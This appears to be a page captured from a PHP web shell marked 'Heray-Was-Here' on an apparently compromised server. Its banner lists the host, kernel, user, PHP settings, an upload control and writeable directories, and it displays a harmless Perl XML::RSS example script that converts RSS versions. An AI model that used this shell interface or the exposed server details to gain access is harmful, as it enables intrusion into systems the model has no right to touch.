Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-XML-RSS/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-XML-RSS/examples/convert.pl
#!/usr/bin/perl

use strict;
use warnings;

use XML::RSS ();

# print an error unless there are 2 command-line args
syntax() unless @ARGV == 2;

# get rss file and version to convert to from
# the command line
my ($file,$version) = @ARGV;

# create new instance
my $rss = XML::RSS->new;

# set output version
$rss->{output} = $version unless $version eq 'default';

# parse the rss file
$rss->parsefile(shift);

# output the new RSS to STDOUT
print $rss->as_string;

sub syntax {
    die "Syntax: convert.pl <file.rss> <version>\n    ex: convert.pl fm.rdf 1.0\n\n";
}


Hry